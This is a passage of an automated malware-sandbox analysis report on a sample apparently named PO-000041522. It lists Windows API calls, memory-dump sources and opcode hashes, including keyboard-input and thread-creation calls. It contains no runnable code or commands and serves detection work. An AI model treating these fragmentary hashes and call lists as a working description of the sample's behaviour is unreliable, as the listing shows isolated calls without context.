                                                                                                • Opcode Fuzzy Hash: 42a201a1e731261e29c9ff9b40de176b55a78da0b06957c9f64dc5096dc7767a
                                                                                                • Instruction Fuzzy Hash: 9F417F75604341AFE710CF45C984B6BB7E4FB89304F14881EFA554B391DBB4E849CB5A
                                                                                                APIs
                                                                                                • InterlockedIncrement.KERNEL32 ref: 0047247C
                                                                                                • InterlockedDecrement.KERNEL32(004A7CAC), ref: 00472491
                                                                                                • Sleep.KERNEL32(0000000A), ref: 00472499
                                                                                                • InterlockedIncrement.KERNEL32(004A7CAC), ref: 004724A4
                                                                                                • InterlockedDecrement.KERNEL32(004A7CAC), ref: 00472599
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Interlocked$DecrementIncrement$Sleep
                                                                                                • String ID: 0vH
                                                                                                • API String ID: 327565842-3662162768
                                                                                                • Opcode ID: bfb173672284e31ba0a3017bb0c7d670cf276827bd066f711b3c3b49063f60eb
                                                                                                • Instruction ID: 7246262c18bb701d5349304b0e2d21290bf7c9637501dd5a114e6955e8e78370
                                                                                                • Opcode Fuzzy Hash: bfb173672284e31ba0a3017bb0c7d670cf276827bd066f711b3c3b49063f60eb
                                                                                                • Instruction Fuzzy Hash: 9631D2329082259BD710DF28DD41A8A77A5EB95324F05483EFD08FB251DB78EC498BED
                                                                                                APIs
                                                                                                • SendMessageW.USER32(?,00000401,?,00000000), ref: 00448B16
                                                                                                • GetFocus.USER32 ref: 00448B1C
                                                                                                • EnableWindow.USER32(004A83D8,00000000), ref: 00448BAB
                                                                                                • EnableWindow.USER32(004A83D8,00000001), ref: 00448BC1
                                                                                                • ShowWindow.USER32(004A83D8,00000000,004A83D8,?,?), ref: 00448C37
                                                                                                • ShowWindow.USER32(004A83D8,00000004,004A83D8), ref: 00448C43
                                                                                                • EnableWindow.USER32(004A83D8,00000001), ref: 00448C58
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Window$Enable$Show$FocusMessageSend
                                                                                                • String ID:
                                                                                                • API String ID: 3429747543-0
                                                                                                • Opcode ID: f5aca3f6d68f8169105ace43209457086b036621b25274999c7621d4cb9b91fc
                                                                                                • Instruction ID: 96ed947056310062a3fa6d2350adc65d304252fdbf70c479ab88671ed4e09c2c
                                                                                                • Opcode Fuzzy Hash: f5aca3f6d68f8169105ace43209457086b036621b25274999c7621d4cb9b91fc
                                                                                                • Instruction Fuzzy Hash: FC31B4706443819BF7248E14C8C4BAFB7D0EB95745F04492EF981A6291DBA89845C719
                                                                                                APIs
                                                                                                • SetErrorMode.KERNEL32(00000001), ref: 0045D32F
                                                                                                • GetVolumeInformationW.KERNEL32(?,?,000000FF,?,?,?,?,000000FF,?), ref: 0045D3B3
                                                                                                • __swprintf.LIBCMT ref: 0045D3CC
                                                                                                • SetErrorMode.KERNEL32(?,00000001,00000000), ref: 0045D416
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: ErrorMode$InformationVolume__swprintf
                                                                                                • String ID: %lu$HH
                                                                                                • API String ID: 3164766367-3924996404
                                                                                                • Opcode ID: bd20e614eacc1ec6e7ce8a240dc663141bf9142d6fc10aee8c7bf862d4d2af0b
                                                                                                • Instruction ID: e4de0c6df68350460ad5232616e5185c9d799459bd1b640414cfcbd8d86849a8
                                                                                                • Opcode Fuzzy Hash: bd20e614eacc1ec6e7ce8a240dc663141bf9142d6fc10aee8c7bf862d4d2af0b
                                                                                                • Instruction Fuzzy Hash: 85314A716083019BC310EF55D941A5BB7E4FF88704F40892EFA4597292D774EA09CB9A
                                                                                                APIs
                                                                                                • SendMessageW.USER32(00000000,00002001,00000000,FF000000), ref: 00450E24
                                                                                                • SendMessageW.USER32(00000000,00000409,00000000,FF000000), ref: 00450E35
                                                                                                • SendMessageW.USER32(?,00000402,00000000,00000000), ref: 00450E43
                                                                                                • SendMessageW.USER32(?,00000401,00000000,00640000), ref: 00450E54
                                                                                                • SendMessageW.USER32(00000000,00000404,00000001,00000000), ref: 00450E62
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: MessageSend
                                                                                                • String ID: Msctls_Progress32
                                                                                                • API String ID: 3850602802-3636473452
                                                                                                • Opcode ID: 42656bfbb5a190feb894f1e63281698c22ff60bbec02a0e57f9bf8616b6fd2a5
                                                                                                • Instruction ID: b51c377fab27852337593a8f268aff884918310fa347e0537580fa9f3b853d23
                                                                                                • Opcode Fuzzy Hash: 42656bfbb5a190feb894f1e63281698c22ff60bbec02a0e57f9bf8616b6fd2a5
                                                                                                • Instruction Fuzzy Hash: 2C2121712543007AE7209A65DC42F5BB3E9AFD8B24F214A0EF754B72D1C6B4F8418B58
                                                                                                APIs
                                                                                                • ImageList_Destroy.COMCTL32(?), ref: 00455451
                                                                                                • ImageList_Destroy.COMCTL32(?), ref: 0045545F
                                                                                                • DestroyWindow.USER32(?,?,?,?,?), ref: 00455640
                                                                                                • DeleteObject.GDI32(?), ref: 0045564E
                                                                                                • DeleteObject.GDI32(?), ref: 0045565C
                                                                                                • DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
                                                                                                • DestroyWindow.USER32(?,?,?,?,?), ref: 00455678
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Destroy$DeleteImageList_ObjectWindow$Icon
                                                                                                • String ID:
                                                                                                • API String ID: 3985565216-0
                                                                                                • Opcode ID: dc022e11ae60a508d3fee16e2099accab07c71a042b18f60c16d9d094d7ead98
                                                                                                • Instruction ID: 02eb1b45cc7e926b76574f27881fb1e8d9d372094f4d7b34cf8607babd6cb63d
                                                                                                • Opcode Fuzzy Hash: dc022e11ae60a508d3fee16e2099accab07c71a042b18f60c16d9d094d7ead98
                                                                                                • Instruction Fuzzy Hash: EA213270200A019FCB20DF65CAD4B2A77A9BF45312F50855EED45CB352DB39EC45CB69
                                                                                                APIs
                                                                                                • ___set_flsgetvalue.LIBCMT ref: 00415737
                                                                                                • __calloc_crt.LIBCMT ref: 00415743
                                                                                                • __getptd.LIBCMT ref: 00415750
                                                                                                • CreateThread.KERNEL32(00000000,?,0041568B,00000000,00000004,00000000), ref: 00415776
                                                                                                • ResumeThread.KERNEL32(00000000,?,?,?,?,?,?,00000000), ref: 00415786
                                                                                                • GetLastError.KERNEL32(?,?,?,?,?,?,00000000), ref: 00415791
                                                                                                • __dosmaperr.LIBCMT ref: 004157A9
                                                                                                  • Part of subcall function 00417F23: __getptd_noexit.LIBCMT ref: 00417F23
                                                                                                  • Part of subcall function 00417EBB: __decode_pointer.LIBCMT ref: 00417EC6
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Thread$CreateErrorLastResume___set_flsgetvalue__calloc_crt__decode_pointer__dosmaperr__getptd__getptd_noexit
                                                                                                • String ID:
                                                                                                • API String ID: 1269668773-0
                                                                                                • Opcode ID: bb8068f02d799d687f86b9c43e1e9df3108372b57b840b2ce394e22bf251b6d0
                                                                                                • Instruction ID: 083f1b3d72dc2b4e3073d7627409da2efaae6cca9fbdfa2eb2c15b7cb2a145f7
                                                                                                • Opcode Fuzzy Hash: bb8068f02d799d687f86b9c43e1e9df3108372b57b840b2ce394e22bf251b6d0
                                                                                                • Instruction Fuzzy Hash: 4511E672501604EFC720AF76DC868DF7BA4EF80334F21412FF525922D1DB788981966D
                                                                                                APIs
                                                                                                  • Part of subcall function 00438FE4: GetProcessHeap.KERNEL32(00000008,0000000C,0043910A,00000000,00000000,00000000,0044646E,?,?,?), ref: 00438FE8
                                                                                                  • Part of subcall function 00438FE4: HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00438FEF
                                                                                                • GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,00000000,00000000,00000000,0044646E,?,?,?), ref: 00439119
                                                                                                • GetCurrentProcess.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00439123
                                                                                                • DuplicateHandle.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0043912C
                                                                                                • GetCurrentProcess.KERNEL32(00000008,00000000,00000000,00000002,?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00439138
                                                                                                • GetCurrentProcess.KERNEL32(?,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00439142
                                                                                                • DuplicateHandle.KERNEL32(00000000,?,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 00439145
                                                                                                • CreateThread.KERNEL32(00000000,00000000,004390C2,00000000,00000000,00000000), ref: 0043915E
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Process$Current$DuplicateHandleHeap$AllocCreateThread
                                                                                                • String ID:
                                                                                                • API String ID: 1957940570-0
                                                                                                • Opcode ID: ae016cd78919e3da0d3d218cc031d8d4f693afb8d34ff927aa47fd3b6f506194
                                                                                                • Instruction ID: b388a4287fabc35bf2088fa38ebc9459a42e34e8a642192e1b63b89709cb9be3
                                                                                                • Opcode Fuzzy Hash: ae016cd78919e3da0d3d218cc031d8d4f693afb8d34ff927aa47fd3b6f506194
                                                                                                • Instruction Fuzzy Hash: 3BF0CD753413007BD220EB65DC86F5BB7A8EBC9B10F118919F6049B1D1C6B4A800CB65
                                                                                                APIs
                                                                                                • ___set_flsgetvalue.LIBCMT ref: 00415690
                                                                                                  • Part of subcall function 00416A84: TlsGetValue.KERNEL32(00411739,00416C10,?,00411739,00417F28,00413979,?,?,00411739,?,00401C0B), ref: 00416A8D
                                                                                                  • Part of subcall function 00416A84: __decode_pointer.LIBCMT ref: 00416A9F
                                                                                                  • Part of subcall function 00416A84: TlsSetValue.KERNEL32(00000000,00411739,00417F28,00413979,?,?,00411739,?,00401C0B), ref: 00416AAE
                                                                                                • ___fls_getvalue@4.LIBCMT ref: 0041569B
                                                                                                  • Part of subcall function 00416A64: TlsGetValue.KERNEL32(?,?,004140F1,00000000), ref: 00416A72
                                                                                                • ___fls_setvalue@8.LIBCMT ref: 004156AD
                                                                                                  • Part of subcall function 00416AB8: __decode_pointer.LIBCMT ref: 00416AC9
                                                                                                • GetLastError.KERNEL32(00000000,?,00000000), ref: 004156B6
                                                                                                • ExitThread.KERNEL32 ref: 004156BD
                                                                                                • __freefls@4.LIBCMT ref: 004156D9
                                                                                                • __IsNonwritableInCurrentImage.LIBCMT ref: 004156EC
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Value$__decode_pointer$CurrentErrorExitImageLastNonwritableThread___fls_getvalue@4___fls_setvalue@8___set_flsgetvalue__freefls@4
                                                                                                • String ID:
                                                                                                • API String ID: 4166825349-0
                                                                                                • Opcode ID: 185d0aae8fe32bab84a079219336c355dd614541d1aff55515eff8c05f91681e
                                                                                                • Instruction ID: 1015f584654e325efa3cacb901eba7c9ae2b5aefa54885f90b4e6d99173acdac
                                                                                                • Opcode Fuzzy Hash: 185d0aae8fe32bab84a079219336c355dd614541d1aff55515eff8c05f91681e
                                                                                                • Instruction Fuzzy Hash: 14F049745007009BD704BF72DD159DE7B69AF85345761C85FB80897222DA3DC9C1CB9C
                                                                                                APIs
                                                                                                • LoadLibraryA.KERNEL32(advapi32.dll,p#D,0043415E,p#D,?,00442370,?), ref: 00434134
                                                                                                • GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 00434146
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: AddressLibraryLoadProc
                                                                                                • String ID: RegDeleteKeyExW$advapi32.dll$p#D$p#D
                                                                                                • API String ID: 2574300362-3261711971
                                                                                                • Opcode ID: 3da92f374f37a9fa7395fa6ef73d3af1d379715eec5b41da1672ebd70bf57acc
                                                                                                • Instruction ID: cb82693085896f9455b4638215a98dd7e3cb824177552166877179ce6000b7c2
                                                                                                • Opcode Fuzzy Hash: 3da92f374f37a9fa7395fa6ef73d3af1d379715eec5b41da1672ebd70bf57acc
                                                                                                • Instruction Fuzzy Hash: D8D05EB0400B039FCB105F24D8086AB76F4EB68700F208C2EF989A3750C7B8E8C0CB68
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID:
                                                                                                • String ID:
                                                                                                • API String ID:
                                                                                                • Opcode ID: c82efa3070467c2623ec738b5b2be2cd760763614a3dd1863134219050ad48d5
                                                                                                • Instruction ID: be39947db1ffbcb7075193c31d102fc15fe4f6af8d23ce90efbce3d2b6a77a88
                                                                                                • Opcode Fuzzy Hash: c82efa3070467c2623ec738b5b2be2cd760763614a3dd1863134219050ad48d5
                                                                                                • Instruction Fuzzy Hash: 4BF16D71108740AFD210DB59C880EABB7F9EFCA744F10891EF69983261D735AC45CBAA
                                                                                                APIs
                                                                                                • GetClientRect.USER32(?,?), ref: 00433724
                                                                                                • GetWindowRect.USER32(00000000,?), ref: 00433757
                                                                                                • GetClientRect.USER32(0000001D,?), ref: 004337AC
                                                                                                • GetSystemMetrics.USER32(0000000F), ref: 00433800
                                                                                                • GetWindowRect.USER32(?,?), ref: 00433814
                                                                                                • ScreenToClient.USER32(?,?), ref: 00433842
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Rect$Client$Window$MetricsScreenSystem
                                                                                                • String ID:
                                                                                                • API String ID: 3220332590-0
                                                                                                • Opcode ID: 3d0204db3781b081fd3de6a8efec2d06c6e501bf89adf1cf9fb69463b8de8f3e
                                                                                                • Instruction ID: 40e56d112be44df416332e5c874318f33691c6b0c201ea6c9f9086adb5117cf0
                                                                                                • Opcode Fuzzy Hash: 3d0204db3781b081fd3de6a8efec2d06c6e501bf89adf1cf9fb69463b8de8f3e
                                                                                                • Instruction Fuzzy Hash: E9A126B42147028AC324CF68C5847ABBBF1FF98715F04991EE9D983360E775E908CB5A
                                                                                                APIs
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: _malloc_wcslen$_strcat_wcscpy
                                                                                                • String ID:
                                                                                                • API String ID: 1612042205-0
                                                                                                • Opcode ID: b8a3413a850b3e9d022a14bc02158d0a95917de16b2476bc53e0af5cb97ab780
                                                                                                • Instruction ID: 39b6431fb86a1cae222df6ecce28f21653e085caad8de22f1e35678e4483a9b6
                                                                                                • Opcode Fuzzy Hash: b8a3413a850b3e9d022a14bc02158d0a95917de16b2476bc53e0af5cb97ab780
                                                                                                • Instruction Fuzzy Hash: CD613B70504202EFCB10EF29D58096AB3E5FF48305B50496EF8859B306D738EE59DB9A
                                                                                                APIs
                                                                                                • GetKeyboardState.USER32(?,?,00000001,00000001,?,00000000), ref: 0044C588
                                                                                                • SetKeyboardState.USER32(00000080), ref: 0044C59B
                                                                                                • PostMessageW.USER32(?,00000104,?,?), ref: 0044C5EC
                                                                                                • PostMessageW.USER32(?,00000100,?,?), ref: 0044C610
                                                                                                • PostMessageW.USER32(?,00000102,?,00000001), ref: 0044C637
                                                                                                • SendInput.USER32 ref: 0044C6E2
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: MessagePost$KeyboardState$InputSend
                                                                                                • String ID:
                                                                                                • API String ID: 2221674350-0
                                                                                                • Opcode ID: 061e63fcf1402e721e52ee56d2f22f81c2cbe03cfd8f861d8ff00d299370d474
                                                                                                • Instruction ID: 3a634557d1668dba9f4fbb3ffee1259adddcddb7f3fce46f2ce6721246940f3b
                                                                                                • Opcode Fuzzy Hash: 061e63fcf1402e721e52ee56d2f22f81c2cbe03cfd8f861d8ff00d299370d474
                                                                                                • Instruction Fuzzy Hash: A24148725053486AF760EF209C80BFFBB98EF95324F04151FFDC412281D66E984987BA
                                                                                                APIs
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: _wcscpy$_wcscat
                                                                                                • String ID:
                                                                                                • API String ID: 2037614760-0
                                                                                                • Opcode ID: 43efba16cd806b31402fe34b2becc3a5af32a5b4a383a164d4ea5773e04486ac
                                                                                                • Instruction ID: 871aa96d6b0d5f43eceffdadd72b032f7becd6ba50fbda5e2bca5dd503650597
                                                                                                • Opcode Fuzzy Hash: 43efba16cd806b31402fe34b2becc3a5af32a5b4a383a164d4ea5773e04486ac
                                                                                                • Instruction Fuzzy Hash: 7D41BD31901A256BDE317F55D880BBB7358DFA1314F84006FF98247313EA6E5892C6BE
                                                                                                APIs
                                                                                                • BeginPaint.USER32(00000000,?,004A83D8,?), ref: 00447B9D
                                                                                                • GetWindowRect.USER32(?,?), ref: 00447C1B
                                                                                                • ScreenToClient.USER32(?,?), ref: 00447C39
                                                                                                • SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 00447C4C
                                                                                                • Rectangle.GDI32(00000000,00000000,00000000,?,?), ref: 00447C93
                                                                                                • EndPaint.USER32(?,?), ref: 00447CD1
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Paint$BeginClientRectRectangleScreenViewportWindow
                                                                                                • String ID:
                                                                                                • API String ID: 4189319755-0
                                                                                                • Opcode ID: 37bca05dc5f282a43c1c57c3b808f61ec058395b4d713bcb6da44fc2610780a1
                                                                                                • Instruction ID: de699fe3e67e71f806f86ee7feca1bcffcb0489daa19151882f3061068cc4b26
                                                                                                • Opcode Fuzzy Hash: 37bca05dc5f282a43c1c57c3b808f61ec058395b4d713bcb6da44fc2610780a1
